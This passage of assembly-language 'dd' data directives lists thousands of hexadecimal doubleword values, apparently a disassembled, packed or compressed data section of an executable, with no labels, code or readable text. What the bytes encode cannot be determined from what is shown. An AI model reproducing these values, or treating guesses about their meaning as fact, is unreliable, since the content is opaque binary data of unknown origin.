89C8C35Eh dd 46008774h, 0A1F7C356h, 4583B805h, 0D8DA08F1h, 0D9668DF6h dd 5DD253F1h, 397FA245h, 3A748903h, 6EC5043h, 0F821FD20h dd 1B5B921Dh, 3632ACD6h, 44E8A4FCh, 85E00741h, 0E7B027D5h dd 3618CB90h, 0DA0075EDh, 8E58AA11h, 9CFE49Bh, 59C06716h dd 0B343008h, 6482D48Ah, 290584h, 0E7ECEA19h, 0C960506Ah dd 0DA144599h, 0EA8A6082h, 0B3D36D61h, 855DE892h, 0E3AACC24h dd 49DE0E98h, 0EF521768h, 1C231B3Ah, 41D34600h, 0EE717ACh dd 0B66F08B8h, 0B58B6041h, 88F87559h, 0C05B986h, 847A5361h dd 0C9227890h, 0CFB73E2Ah, 18E5D618h, 6994293Dh, 0F12DF784h dd 572370CAh, 28055F17h, 55227C89h, 5747201Bh, 0A60732C3h dd 58525FB4h, 0CE8E65Eh, 91D50121h, 7B820D5Dh, 0E2F4F4AFh dd 0BAB7F700h, 2A0BD3E1h, 0E1D3985Ah, 38E9814h, 2D52CA98h dd 0B85290C4h, 93C8C18h, 771C94B9h, 8BD00F89h, 0D1800040h dd 2485C7E8h, 0A6D21A91h, 128A508Ch, 7B110D05h, 6382B754h dd 3C67CCAh, 0CFFFD56Dh, 8BDDBAEBh, 0D3B22E9h, 8C3DCB8Ah dd 683F40Fh, 1330253h, 3A219484h, 0CFFC3123h, 55F098h dd 0D56CD88Fh, 0C2182F78h, 1050BF49h, 8B0412C9h, 91EC19Dh dd 0B2861861h, 983D2AB3h, 1CD2039h, 243BA580h, 77C5B49h dd 89C838C7h, 642765C2h, 524BB7h, 0E9815FE2h, 13317C17h dd 1E8E3C6Ch, 3EE68000h, 0F88B2CC7h, 26DBC024h, 0B2DC8C0h dd 0CD20B501h, 0F8C4912Ah, 0C28F0BC6h, 12170BC6h, 0AD08D0E8h dd 8801F071h, 0A81C9B66h, 0BFD86041h, 0E37258E4h, 1A2BD110h dd 0E5A45F61h, 6019E44Fh, 655CB5Fh, 0E990C1BCh, 0C4381D0Ah dd 2E3C80CDh, 0EDFDEB2Ch, 8BA0678h, 8618DA2Ah, 837C0216h dd 0D70FCD0Ah, 0B2083935h, 69BF8005h, 0C72366E7h, 3306F4C9h dd 8836797Ch, 614DBD89h, 42E91285h, 0CA9B2152h, 6F451583h dd 0F6286DE8h, 3543A316h, 8F1F206h, 84717061h, 1DC49885h dd 2AEFF460h, 0F0D34701h, 0BFD70EDAh, 25E17020h, 0E7906C7Ah dd 0D358329Ch, 0C9690552h, 97081706h, 26301C01h, 4900F6D8h dd 0E59EB0C8h, 58765F78h, 940EB40Ah, 2B38E945h, 0F878BCB6h dd 71BC294Ch, 0DB581A0h, 12CD6B82h, 3F090FB2h, 47DD3D83h dd 2EC4DDE3h, 5135EA58h, 8886CE20h, 0A76CC116h, 2D1E71EEh dd 84C269C0h, 35889164h, 60024023h, 30870F28h, 0CB13DC90h dd 4DC125B2h, 7228F701h, 38C1BECh, 0FBDD1C1Eh, 4FA00846h dd 0C0048160h, 7DB625F5h, 435ACC1h, 0F98B0B14h, 0E9851FAEh dd 2EE72339h, 0F5098A10h, 4091E740h, 1BA44016h, 226A515Ch dd 0E85918E9h, 0DFE34510h, 7A129900h, 89E5690Dh, 13650172h dd 34BE9DA0h, 64F9D101h, 6A795AF7h, 31E172C6h, 20C69412h dd 0A164FF33h, 45294159h, 8401816Dh, 66DE2468h, 0F6DB8C04h dd 798304C3h, 0C6193B02h, 361C0518h, 520C6856h, 5E9CA8B8h dd 78B7D85Dh, 12B13B0Ch, 84046A0Bh, 644D1072h, 0FA10F781h dd 2D42F96Ch, 9B684701h, 1EEC18ACh, 0F0292B4Dh, 684F011Eh dd 0EE2F2661h, 7208AD07h, 7D685B86h, 286A530Ch, 29851856h dd 807575C0h, 64986841h, 2AADDB87h, 5898D037h, 0A439684Ch dd 20802BE7h, 8821274Ah, 45B123Fh, 0AE718D82h, 85151554h dd 0CF5C03C7h, 0C430D3Bh, 26920F02h, 44F52B1h, 620349E2h dd 5302AD6Ah, 0A4B5340Ch, 1417A291h, 6845026Dh, 92A5F797h dd 1C08CD02h, 0C0267CDh, 53752E58h, 0C06D6632h, 914E1AA1h dd 635A970Ch, 84EF5134h, 94D59D89h, 53BF812Bh, 37B487D8h dd 81A01E2Dh, 137329C9h, 0CB501F20h, 0C718C84Ah, 0C9C0DF11h dd 35FF64ABh, 0BA666BA0h, 958DB13Dh, 130B2589h, 0BC04D38Bh dd 0C9542EB5h, 0E9217333h, 0AB0E0BBEh, 2012A11Ah, 0B3DBF365h dd 0B0060518h, 8180D4ACh, 88A62CEEh, 2621054Ah, 0D34E905Bh dd 0B200CC6Bh, 1F702072h, 0AE014386h, 2956FB18h, 0DE383585h dd 0BD805A0Fh, 786BFD0Bh, 9D5914F2h, 6303F101h, 3232C4E9h dd 4F51BF09h, 2CA5EA82h, 0E9DB3301h, 0E007A32h, 42CE39F6h dd 4FF62D17h, 3C25D400h, 13340B46h, 0B8C05C33h, 0E456E5C0h dd 3F006118h, 81101DB5h, 0E410FD2h, 405F05C6h, 0B0742DFh dd 73E48F64h, 2E7C7EB7h dd 1C465E4Bh, 0D050B700h, 879AE082h, 8B302802h, 0E0FB83C8h dd 0E14A84ACh, 1DECF86Ch, 0D64008Ch, 588DA0A3h, 0A42750ABh dd 0B871104Bh, 92353F94h, 8514428Bh, 24259602h, 0B5ED0209h dd 0C232CADDh, 50BA252Bh, 4A86BB03h, 0E780DA5Ah, 601BE4A5h dd 69412FBh, 407C46A7h, 0F1207216h, 0BF0F0A1Eh, 1FC51D2h dd 5F19A2CAh, 0C30208Bh, 0A466C77Ah, 7A03FF4Bh, 15B86583h dd 0C3EC0304h, 30415C8Bh, 5D20C29Ch, 9259ED81h, 838B28D3h dd 3DFA01Bh, 5389812Eh, 4F2E5D0Ch, 6111250h, 40E13A50h dd 3CCD5F23h, 0F74E554Fh, 45CE16C8h, 45C30130h, 0FC41A48Fh dd 4061D88Bh, 0D05DC983h, 0B9410599h, 0D81D489Bh, 0BEBA45BDh dd 0E940B94Ah, 55D704B8h, 64050048h, 0BB0DF781h, 8503D465h dd 0B640BA86h, 0EAD18734h, 0C9D5FE8h, 68FBC0EDh, 75564D58h dd 10030A58h, 534132C9h, 205E874Eh, 32B993FEh, 0FB8A2E09h dd 5880385h, 0E7D20983h, 4C98A0E6h, 3A004243h, 0FCD598C6h dd 550A1A8h, 635D579Ah, 0B3DFC51Bh, 8D29044Dh, 0E5B60BC5h dd 8043DA1h, 10134211h, 0EB9AC1Fh, 0A8C01120h, 96F92h dd 99DC483Eh, 2D76E61h, 8960349Fh, 0C66A2DB5h, 30FA9943h dd 2AD26106h, 0DCC647E9h, 2E310799h, 0A303739h, 4500DC01h dd 70656378h, 1C6F6974h, 0DD49206Eh, 6D728566h, 70C1261h dd 97656C0Bh, 202C3173h, 74189E63h, 0D5F1F37Ah, 73E3F768h dd 77E366E3h, 123E72EBh, 3E763F64h, 0FB70BC6Ch, 77349AB0h dd 1D593469h, 26B16C76h, 0B1676E1Ch, 2E734067h, 0DC7154DDh dd 79F56BF5h, 0AEC75F5h, 0E904DF0Dh, 70288C01h, 6EC07380h dd 4C525443h, 65FFEB2Bh, 1E6978EBh, 7A645B46h, 7BC51874h dd 8477970h, 6297696Ch, 5164DAFCh, 42033629h, 0A6DF4256h dd 793D7F7Fh, 431ECC25h, 6B1563E8h, 230F4E49h, 554F8464h dd 72507054h, 1D44FF6Fh, 3BA30F2Dh, 83F3200Fh, 0F3D43B6h dd 95B71E90h, 188E1A50h, 5401E3Ah, 1E4BF5BDh, 0E3C258Dh dd 0F1A6D785h, 410E90E2h, 80219292h, 0B2E7B8E1h, 62C82419h dd 0D21907CFh, 96B89B79h, 58554257h, 0C2D73BE5h, 1B2B2971h dd 38D64425h, 0E2648D67h, 648DB438h, 8DD238EAh, 0BB38E664h dd 38DA648Dh, 0DE648DC3h, 4885CA38h, 21A9C20Ch, 0C4A2E902h dd 0C9BD123Fh, 953A321Fh, 21050DA2h, 4DE4312h, 0D5958B1Bh dd 0C2810123h, 99291CF8h, 0F2958D85h, 3452182Fh, 1FC34028h dd 0CB893BD4h, 451324BDh, 55400C44h, 0A89D8B88h, 0BE4CC313h dd 0A3652944h, 88501011h, 85479D6h, 589087E2h, 5C79E688h dd 948ADA08h, 0AD0DFADCh, 416811AFh, 905A49CDh, 0DAC8DE0Ch dd 0E232E664h, 0D20CD619h, 0CC0A848Ah, 55041C98h, 6FC072Fh dd 683821Bh, 0D506166Dh, 406A24C4h, 2EEE2924h, 61CE4919h dd 0F09601F0h, 0EBC18B60h, 529BB318h, 2027CC1h, 0E3405060h dd 98C43F29h, 0C2610332h, 0E6342504h, 14606306h, 85F60840h dd 0C4F335Ah, 0F8E9C324h, 0B5318B21h, 0E6818FD0h, 18ACF0C1h dd 0E4E865DFh, 0C64F8117h, 0B53BC243h, 0F390DD4h, 0D851E986h dd 22F2D820h, 6FC0CFE6h, 0C88C6650h, 0A032E24h, 2A8414E2h dd 90579D7Eh, 91858B07h, 1886024Dh, 3F42DB0Ah, 0AA0E670Bh dd 24048C3Dh, 5089CFC6h, 8A9E1FEh, 1820D938h, 13E0FF6h dd 0E6FE2E4Ch, 531CC004h, 7B660AB4h, 9FC6289h, 53B95B02h dd 74C5D09h, 21430A82h, 30BB11E0h, 80CBEF53h, 0C30363E3h dd 4B423884h, 0B1C7F376h, 0B73C146Dh, 0E6448BC6h, 0C5A498E8h dd 0F1068955h, 0E295E318h, 322343E3h, 995BBD01h, 6010A3A2h dd 0EA923E80h, 1BB3144h, 763AB7A1h, 0CAB101B0h, 0AC40115Eh dd 3902C88Ah, 0D10332C3h, 0D20BAACBh, 19014022h, 0D6C90A4Ah dd 0F02316E5h, 1011D4DDh, 0D48B5207h, 87A3057h, 0E950C033h dd 8038AA21h, 158D563Fh, 0DBC5A5Fh, 32565153h, 0AC8FFB2Dh dd 0D3D1D840h, 0BC0DC381h, 0B037465Ah, 0B49D1E7h, 3E89791h dd 595EC38Bh, 9860A25Bh, 0A311E97Bh, 2AEA2B2Bh, 8C04477h dd 35DFE4E7h, 0A8D80F03h, 293C2904h, 127592D4h, 58AB89A8h dd 85348F60h, 64822179h, 0BD068771h, 388983C8h, 3F4A23E9h dd 7E8B648Ch, 17050240h, 899B46F3h, 14192192h, 46ACFE3Ch dd 30A38E1Eh, 0E9AE88E4h, 0DF698768h, 721276A4h, 0C7A4D00h dd 12CAB2B8h, 31E9A945h, 0C830065Fh, 4602C8D1h, 820FF73Bh dd 58D92F1h, 282F08EAh, 2E284C65h, 51560928h, 2C130853h dd 300C4A09h, 0A12D3C67h, 4100AC9h, 13023498h, 0C3C1D832h dd 0BA1C4208h, 5B1C8167h, 37455E59h, 0A43517E0h, 0CD52E98h dd 44294581h, 2205990Ch, 49C41B51h, 8F73C8E8h, 47D10064h dd 0CE802B40h, 5CA85E2Ch, 3900FFAFh, 42F4D255h, 25A7035h dd 0FAD0B85Fh, 99615132h, 27DD3039h, 37D8644Fh, 8F9B1EC7h dd 105B004Eh, 0DEBFE32Dh, 0F7679B2h, 68BD91Ch, 0C081D880h dd 3B73F95h, 22E3B953h, 0E8D80ACAh, 7B012CF4h, 9F51BA37h dd 2C80537Eh, 350CEA7Fh, 0DA0C8B66h, 0C600689h, 6159C0C7h dd 8004EE83h, 1643EA3Bh, 0F68C01EFh, 0D40A03BAh, 2FE9659Eh dd 41EE1500h, 505C3B81h, 7014154Fh, 27006663h, 0DF5E23D9h dd 3C3FA6AAh, 0D39D2A59h, 6643FE0Ah, 0B500C11Ch, 3117A6E7h dd 233D1F72h, 0CDDD4022h, 0AEB70BCBh, 402E028h, 112AA030h dd 0E12320Eh, 104FAB8h, 27A2C0BDh, 23E53442h, 6DB5D200h dd 0FE160288h, 39B7F809h, 0BEB78B6Bh, 46B98040h, 0AB06018Eh dd 0E5219069h, 6C3A0C28h, 0E040254Dh, 0BE3B1114h, 34A0138h dd 156944B6h, 0EC412080h, 2DFAE7Bh, 52381E00h, 0F07D78FFh dd 21400068h, 0B38454E2h, 3C1E8C3Ah, 0BE8B1615h, 0ED8B8039h dd 0C3E7CCh, 8C46BF85h, 0B86BB129h, 831D44A1h, 653A1851h dd 0C5311C69h, 4314D44h, 7498EC80h, 9FBD30Fh, 35DA640h dd 88DF0818h, 7D14AF34h, 1E2088h, 0F78F6B33h, 64B6FF91h dd 94E93D68h, 30373B26h, 0C1697FC3h, 108FC140h, 35E63444h dd 4F870D5h, 0E1A0D940h, 6B8C48h, 0E3D2DB77h, 5C39F378h dd 6DF273Ah, 0A77984B6h, 6B140E29h, 9721BD51h, 52A83ACCh dd 0E920C5B0h, 2AC60F5Ah, 33F8F53Dh, 2248ED63h, 0F4F942E0h dd 0DA782D00h, 0D3338CD8h, 796309FCh, 0C480E0B7h, 3C1229D7h dd 0ECC87E51h, 49C0C998h, 0B8B4419Ah, 0D7ED24E0h, 0DC044828h dd 8CF9718h, 61E6C910h, 436A18BCh, 0A0DC40E8h, 0B7E025A2h dd 3D506890h, 0EC01C99Ch, 6BDFABFCh, 2990EAF6h, 3F92848Eh dd 0E180D848h, 0A70CADCBh, 0C7330010h, 91014670h, 0C800773Ah dd 542D852Ah, 0ECFAE6h, 75506E18h, 2E17ADE5h, 0A45CAC00h dd 6C82F8B9h, 4250091h, 0A14C137Eh, 0FD009397h, 0C67B353Ch dd 3C548CF8h, 0FD1FE4h, 0F0D4CDDEh, 0DCCA85BDh, 0A0247100h dd 108348F5h, 8A26003Ah, 0B91FB278h, 9D015969h, 1C70CC86h dd 0EB603905h, 6404001Eh, 2653CB29h, 612AF337h, 20FA9CF6h dd 170A1601h, 538DE1BCh, 144F4ECCh, 816D521Dh, 6C90F600h dd 79F1F208h, 0B5F94607h, 0C953D642h, 76F8B019h, 585500EDh dd 2FD6F74h, 0D309401Ah, 92E0D9h, 78E442FAh, 0CFC60243h dd 3044F12h, 70EED480h, 83001502h, 0C4384590h, 4484B9h dd 0CF4BAC32h, 7941E174h, 8077EF00h, 5DC7F07Ah, 248F870h dd 2A2FACE0h, 9490193Bh, 4101CB44h, 9C161CB8h, 0D540DBE3h dd 0E251D2DCh, 0A63D00E9h dd 11CCD626h, 0AE1EED84h, 7BE5C4Dh, 7472FAA1h, 8323C792h dd 98113FACh, 0D181A7h, 49D524B6h, 3626E48Ch, 0A6B4320Fh dd 28CC2086h, 2802E597h, 1D4D1AEh, 7CDE3D70h, 0D4DD55ABh dd 0F4005C53h, 88144BC0h, 72EE9CB4h, 9BBC00ADh, 58A2061Ah dd 0D9005C7Fh, 0ECF4EA85h, 107B72Ch, 0BFE636ABh, 0E48C1275h dd 7A3843FDh, 65908EE9h, 52102068h, 7E0CD8DBh, 0A6860C79h dd 0F72C28BFh, 483FC101h, 0C95B1F3Eh, 3DE8AFF9h, 0B1050070h dd 3AE09CC2h, 0CB735F1Eh, 0A02B49h, 0E4C327F9h, 319C51Dh dd 0CC5E0382h, 30D75356h, 0FE74360h, 0DDE1A600h, 8DB7AAA4h dd 0DECA09Eh, 0E5BD3F04h, 0E913AF80h, 8BABF09Ch, 5F57DE00h dd 871FB426h, 56DB03EEh, 0A33709CFh, 63E3BD8h, 93000490h dd 59A2474Ch, 0EA39108Fh, 0F39E0337h, 0C069726Ch, 5C35A6B8h dd 0F68D7500h, 4248C6E9h, 1D89000Fh, 0AC5A5609h, 0E20385D6h dd 8E383A63h, 1487DC0Ah, 0C7A6B251h, 0CF45F4h, 58E530F4h dd 0B1D78D5Dh, 0EE9BF8C0h, 0A79D19h, 0F860B2B6h, 5A68DB88h dd 0A9D43C2Ch, 0C29E6100h, 512BF5h, 7CEE9D5Ch, 0DD3C5B1Ah dd 0B4878E04h, 0C8C0A6F8h, 319EC149h, 6B10F703h, 0D62984FCh dd 0A880CEE6h, 0DC66312h, 23FB9084h, 0A8C3D838h, 376C1F03h dd 0B06EBC19h, 0A582D8h, 0EF7AD35Bh, 0B2F63456h, 0B694F300h dd 18A339E1h, 127A8Fh, 938ACFBDh, 0BB43F085h, 358D5416h dd 4C002D1Eh, 0D10BC37Fh, 0FB2100E8h, 12CE5970h, 1FFEEACFh dd 0A1530700h, 9CD3294Ch, 1D0898B9h, 0C3FE3B70h, 57C38037h dd 0E1515087h, 18006749h, 0E49D15BAh, 77C6B76h, 0C5E05EA9h dd 7EE2AFF4h, 8280CCBCh, 0E1FBF289h, 0EEB47404h, 70C24E83h dd 42276103h, 1F9BD0E7h, 0A045ECDAh, 70FEC394h, 3D2400C8h dd 40BBC1E5h, 4D007735h, 91A1F526h, 14A5FE8Eh, 0A82A72D4h dd 14677D00h, 8313F4FDh, 2E7DE02h, 60DBABF8h, 55201Ch dd 0E386D5D9h, 0A9C19F62h, 9E50CE0Fh, 1BFF60E6h, 4BC4E4h dd 4249A19Ch, 0AB9455F0h, 9B010C00h, 58B25954h, 0E1A9008Fh dd 7B76E347h, 1B0064ACh, 99EBC7AFh, 0DA114h, 0BE623E54h dd 0D0219D12h, 13DEF0A0h, 1BA38000h, 978AB407h, 0F22F0061h dd 680A437Ah, 9171EBC3h, 0F04B520Ch, 17088CAh, 146E6585h dd 418A11CBh, 20A14195h, 331DFE60h, 0C64283A0h, 41EC6102h dd 0D5DC18B8h, 2873E20Bh, 7DB0991Ch, 7991009Ch, 0CAB65666h dd 0E303DA52h, 107AFC93h, 91FE019h, 53E801h, 639B8A38h dd 95F59C22h, 60E1C098h, 0C00D374h, 41A333C8h, 0F461E11h dd 18958A25h, 4BAD0C0h, 0E201A84Ah, 0C25C1FE1h, 0F88BB8EAh dd 2300BC05h, 899DAC74h, 1C309707h, 2DC09A0Fh, 0A27E8Dh dd 0F3332F26h, 0E4BB532Ch, 0AB82A800h, 0B1E6A013h, 36F0C199h dd 0C48F14E2h, 28E25D3Eh, 0D62CC400h, 72098C11h, 68CF0598h dd 510A4A1h, 8CD137CCh, 0AE04A370h, 98EE5C2Bh, 0FF9E080h dd 0C4CE017Ch, 8B423F78h, 91187428h, 0AA649E06h, 3C01CEEh dd 0E16EFE72h, 10161FBCh, 9040D681h, 2DD7B2C5h, 0DD2A00ACh dd 89FCBB5Fh, 96707673h, 8E9E9900h, 37494124h, 0BE0306D7h dd 80D95D0Ah, 774A4200h, 0CDE84FDCh, 0FE0FF279h, 770B2BAh dd 6038473Eh, 0E8E430A4h, 2E14F797h, 0E88840h, 45A5CBC0h dd 142944Eh, 0F49D80CEh, 804A83B5h, 0A41A0138h, 39E44ABh dd 0EA043A7h, 0C40E4577h, 412B0D32h, 5A446F83h, 0D6009472h dd 1F754560h, 3E0310EDh, 7CAB349h, 0D3638882h, 2F0E00B4h dd 238FB7F5h, 5A00F062h, 22892966h, 7E44B691h, 1C7D1CEFh dd 9ACCC4D3h, 1E4880A4h, 0F60737AFh, 62630A0h, 9EBD6CA0h dd 563B001h, 5ED52DCh, 9B10C059h, 5A7CA8C4h, 0A3C8D60Eh dd 8EBF20CBh, 0A38F2AA6h, 0B7C6E8E9h, 3F0407DFh, 0B075D845h dd 4D3233AFh, 4A842B00h, 0C60C646Dh, 15760286h, 0EF430B93h dd 1244D8A0h, 0A00208Eh, 0D3D75759h, 95711D8Ch, 683E3880h dd 0FA0274F8h, 0E3F91382h, 9378C3F3h, 502A2C7Eh, 0F908044h dd 3F76853Ah, 0D482DC24h, 17F95C02h, 0B71CC8FDh, 0F3ED00D6h dd 25FCE3F6h, 0F03073E8h, 18E92E21h, 1C8300D5h, 1497C806h dd 9F00C0FEh, 0A8B8F60Ch, 0B2FEB07h, 25E93931h, 8AE02883h dd 385C3480h, 21E47025h, 35BBECB4h, 181326CCh, 18400F17h dd 0DB0C3F69h, 11378D16h, 48C0F12Fh, 242B0082h, 0D2CB8E18h dd 0BB7EC763h, 0F700AA7Ch, 79841020h, 0A9A311h, 5DB73885h dd 270C3A0Bh, 3CA073EEh, 0EB008437h, 956423D2h, 4C486FC4h dd 12008FBFh, 842E2AD7h, 1750B082h, 0D31C2F9Eh, 3B830D4Fh dd 0A0B71434h, 2D2E38Eh, 309D8C36h, 0BC4807A6h, 0B3037D85h dd 0ADB3767h, 0D081ADFh, 245AA861h, 20CE38h, 787F4DB7h dd 9894CBh, 0E7CCF412h, 0A83A7C05h, 97B7EE06h, 18580902h dd 40BD19C9h, 0ED4A5D6Ah, 1FAAE404h, 44429344h, 6B03F6F4h dd 2921EF08h, 43FC0896h, 0E84E090h, 968248F1h, 5070408Bh dd 1A9C893Bh, 764F6D00h, 0FF1EA6E4h, 0AA58012Eh, 6B13A8BBh dd 82A86447h, 55C53Bh, 4AE05235h, 4B81A73h, 3E27D977h dd 0C2A480A6h, 96071353h, 6B149E95h, 0C48052FFh, 302C61C3h dd 0FE111A82h, 0DC981493h, 0A4B2EB78h, 0B12D7600h, 24C66B2Ah dd 460A3035h, 0E7F4ED18h, 81B5EF3Ah, 0CC9EAF0h, 0BC281E78h dd 28DF4218h, 4E0097C4h, 0AFEF5460h, 0AC96FAh, 5D238AE2h dd 6FF285F4h, 5BECB707h, 15403E2Dh, 0CF2603h, 9C339EE4h dd 0ED626C17h, 0B26F2407h, 0B9E06E63h, 4ECBC1h, 0C802A06Ah dd 0FCE0894Fh, 75DC470Fh, 62C6C3C3h, 9374B823h, 3E333D12h dd 0B4B30380h, 0E2B7CA80h, 0F55A5200h, 0A707957Bh, 90247F37h dd 1E500014h, 4516EC9Ah, 0DF17A323h, 4B0EE980h, 743A20B4h dd 0C6406Ch, 0D8051F76h, 9D129BFh, 98DF8A00h, 0E57E5344h dd 35DB01FBh, 0D06B7289h, 50F42084h, 0F613FD1Fh, 1AB720C0h dd 5510B4FAh, 6CE8B866h, 0E800B835h, 556900CEh, 495DAAF4h dd 571A628h, 26ABB500h, 1C2B0CA5h, 0C97B256Eh, 80492800h dd 0D8A8AE8Dh, 0BF004B32h, 8B86395Ch, 94B5B44Ah, 1C91788h dd 650D9094h, 5CD4500Fh, 6D0081A0h, 599AF839h, 0C0E78FBh dd 0C1A366F0h, 48044161h, 9B13979h, 178D1490h, 47951F5Eh dd 0FCE24050h, 0A78E9CD8h, 7419FC90h, 8389139Fh, 0E00680F8h dd 0D158006Ch, 0FD5CC8CBh, 0D507DD8Dh, 85C63CE0h, 179283h dd 0B0061690h, 8D08AA28h, 9E7E7B0Eh, 870EA755h, 0D78A60A0h dd 26F9F2D1h, 0F284C28h, 3AC19CF6h, 7106D96Fh, 21C2F4E4h dd 47A36400h, 0AF95B170h, 0FDAB009Eh, 39148EC7h, 3A71DC25h dd 404DF700h, 5D0353AEh, 1F850074h, 154BE2FBh, 14EED306h dd 60E30F26h, 0AC423A03h, 798B80D1h, 0BDCA008Ch, 0F694263Fh dd 5E0FEFCDh, 0C0AB9A28h, 0EE971B43h, 0D2E7074Ch, 21AE0574h dd 747BD042h, 2909A7D8h, 0A80E38h, 0C32392D0h, 177FEDh dd 1D88166Fh, 2EB3FC79h, 0A7E8AD00h, 0EB64AC3Fh, 39A98E3h dd 0B0BFB268h, 11E89084h, 5A00252Ah, 0FF3C2D05h, 12913D23h dd 77BB34Eh, 0E0CB1408h, 35690786h, 0C000624Eh, 0DACF5C1Bh dd 94453DE5h, 0BC33EA1Fh, 305BC300h, 0CB1B44A7h, 160207FCh dd 43663175h, 0B24840D4h, 0EA800E38h, 0A900746Dh, 924F4688h dd 312A0F0Eh, 5A3DC7E1h, 0C595F381h, 23FA002Ch, 4C6CA854h dd 64058836h, 0C07BBD3Bh dd 12A49DBFh, 0C0788A12h, 0D899AF00h, 0DFC67Ah, 479668E5h dd 806555DDh, 83E98CA0h, 3FD60A18h, 4D25DAB9h, 0A51E78FAh dd 49C441E3h, 0C08D0ED1h, 1C001DBFh, 0B3D92943h, 98FC4B53h dd 0C14207E4h, 0E0E6FF23h, 1C788E49h, 5A30881Ch, 858DE080h dd 0EA136365h, 0A148004Fh, 36C5D34Bh, 1926E273h, 6A0044AFh dd 88F4D96h, 24060185h, 0AA35BD43h, 26542010h, 6E026000h dd 194AFE94h, 143E275h, 0B64CB099h, 40297C3Ch, 84A4FCD0h dd 3880F59Dh, 0CB963337h, 804D726h, 82DC030Eh, 601FC911h dd 479273h, 25CA34Eh, 36A72FDAh, 5003898h, 76FA66FDh, 9F32F8h dd 0E6798D39h, 16465CCAh, 0EA149209h, 0C39D89C7h, 0E342ABA4h dd 0B3C6A83Bh, 0AB2E14D6h, 1D22B48Dh, 2D352500h, 0C189A938h dd 0C9894E1h, 0AAF90F55h, 1B6BA27h, 4347C7F0h, 72F0D8F7h dd 4CD54D6Fh, 857C5500h, 34F349B2h, 0D6065D02h, 80D32BC5h dd 181F08D0h, 0E5E9009Eh, 0EDA535ABh, 43197DD6h, 8F890F8Bh dd 6650D0h, 0FF9517ADh, 0AE280CCCh, 0C15CA115h, 4F2607FCh dd 59B31BA8h, 514AB0A3h, 0D5CD1714h, 885C00EFh, 454964E1h dd 0E50F4A98h, 8972F376h, 1A5C8042h, 0C9247FEh, 0F7D2784Fh dd 331F17B8h, 0A6C0CE74h, 3B6A340Bh, 0F6503051h, 4E937A21h dd 0CE767B00h, 0B1A44365h, 21179A3h, 1EE90B49h, 146471C2h dd 6D09F477h, 3F00D3Ah, 0F3CFEABFh, 0CEC3A09Dh, 0FD8B000Bh dd 6CA578BCh, 29004BC1h, 7F315B50h, 1DEBF604h, 0C0383F27h dd 0CB30CDC4h, 0BF7A2E67h, 6D754E03h, 0A868276Eh, 1C662560h dd 0C05DA384h, 78373E5Bh, 34287172h, 740F8809h, 609645FDh dd 2A76BA7Bh, 2FE601D3h, 2311E00Dh, 70286Bh, 5D487E16h dd 0B015A7DDh, 0DAE1006Fh, 6A9AEFC2h, 0CC03BB7Bh, 9F1D4736h dd 0E889B8F7h, 116E0042h, 0DEA90AA1h, 0DF00D77Ch, 95FB34A5h dd 98AAB294h, 0C73601A4h, 9B17EE5Fh, 0E0A0DA76h, 0CECB1047h dd 0E5BDAD0Bh, 0EB8278Ah, 0CF0AE710h, 9C1B009Ah, 8E50B6A6h dd 0A51F880Dh, 0C74E29B0h, 4C53232Bh, 0B8B085B8h, 94DE00B3h dd 73375D7Eh, 5B0102C8h, 8DB9FA4Dh, 0F02DCA48h, 2C1D6205h dd 0D7E80069h, 47B89112h, 7EC4F000h, 190C4A3Fh, 0AF21C02Bh dd 0FB3817AAh, 0F9169494h, 0B68060C9h, 5D04CAB5h, 9D00BF53h dd 598E6D0h, 8CAECEh, 0D4366713h, 1B96BAB0h, 0B981C060h dd 4D63Eh, 0DB2F168Fh, 1F15EEB5h, 139DDA50h, 0B40FD3FCh dd 0C0CCCD0Ch, 0C9BFBA3Fh, 0B8B20037h, 0B0AA2FD1h, 9F002ADAh dd 9D5C6227h, 555671Dh, 8C378294h, 0C813859Eh, 3F81A6C0h dd 0D01F6901h, 4F6F6416h, 8F0F0F20h, 38E68201h, 25085A72h dd 0D020EE61h, 5F04CB3Eh, 56084060h, 25911Fh, 350A20BCh dd 5517ECC0h, 74009BB0h, 0A9F8F3E1h, 14EE11h, 7A84BBA6h dd 62F3D66h, 5EB93803h, 3FC561Fh, 27043768h, 7A1B33Ah dd 0D161C112h, 0C006E4DBh, 233DE400h, 6C6D0D0Bh, 0DC740229h dd 0CBF7609h, 63EE2458h, 14AD80h, 0A4321027h, 19A6A007h dd 3E09B7E0h, 80236C82h, 66FF01F6h, 0D5460018h, 42C7E3B5h dd 6530C980h, 2327E8B8h, 61EE0070h, 7DEA2463h, 0B600A04Fh dd 1E5D72BAh, 0CBBEBC0h, 9ADB290Eh, 0A5E08CC0h, 9CCA5500h dd 8B1B2706h, 7B4305E0h, 0C153A1FDh, 0D51CF290h, 0D630815Bh dd 0E4EF2CC4h, 0E5F0D3F5h, 0F3EE00CDh, 20AC8999h, 0B103AF07h dd 0ABDB9D2Eh, 14D4D822h, 4E5E00C0h, 0FE6D9F2h, 1300EF42h dd 9B68F964h, 34B3D4h, 31ABEE6Bh, 17869409h, 0AECC6D00h dd 46CA9E30h, 5A8700CFh, 15D6DBFCh, 1300F443h, 0AB560960h dd 3CDCAh, 21BFC974h, 38A4941Bh, 37AF7600h, 0D310E447h dd 5CE02FB3h, 20A9CC97h, 0FA04533Eh, 23059783h, 7D481002h dd 0C3E7CCFEh, 2DD9823h, 28180020h, 4697BE21h, 28CEB43Bh dd 10CD0811h, 29738413h, 83423248h, 9F0C2B01h, 2B441329h dd 0E22841Eh, 7E08E303h, 840A2C44h, 42077422h, 309311D7h dd 113AF611h, 0C32A094Bh, 0E235443Ch, 100714A0h, 1D08AF89h dd 84CE3C44h, 42152B22h, 3E7A119Bh, 3008BA21h, 84879016h dd 0A6483F39h, 24181442h, 42D42173h, 0F5109212h, 105F891Ah dd 7FF275E9h, 0BBBD0073h, 4168F70Bh, 9B00C1C5h, 0D48CA20Ch dd 3CE2ED8h, 17C09DB6h, 0E380E972h, 2C00B046h, 547D06ABh dd 7CE19E73h, 8B370019h, 65B84BC4h, 0E500F66Ch, 79EA30C2h dd 0B2DBB64Ch, 3D5B00B0h, 407AD856h, 0DAB0C125h, 0EB09587Bh dd 6321A89Dh, 0C29CE8D4h, 0F29B01F4h, 662AAAEEh, 14ABC043h dd 0B50373Fh, 80E773CBh, 1522855Ch, 0E8DC027Dh, 260F436Fh dd 0C03F854h, 0E0B68B25h, 0AD444BCh, 1946C327h, 0B3D0078Dh dd 808935A1h, 0DDAFA66Ch, 4BB1F500h, 9DAC463Bh, 60F96082h dd 67BFB673h, 15804E00h, 0C9EDF3CCh, 4CA000E3h, 52A94B8Fh dd 0FB001DDCh, 504EFE04h, 13DEFC8Bh, 4A063F8Eh, 608835F0h dd 0E227FA75h, 13EE7112h, 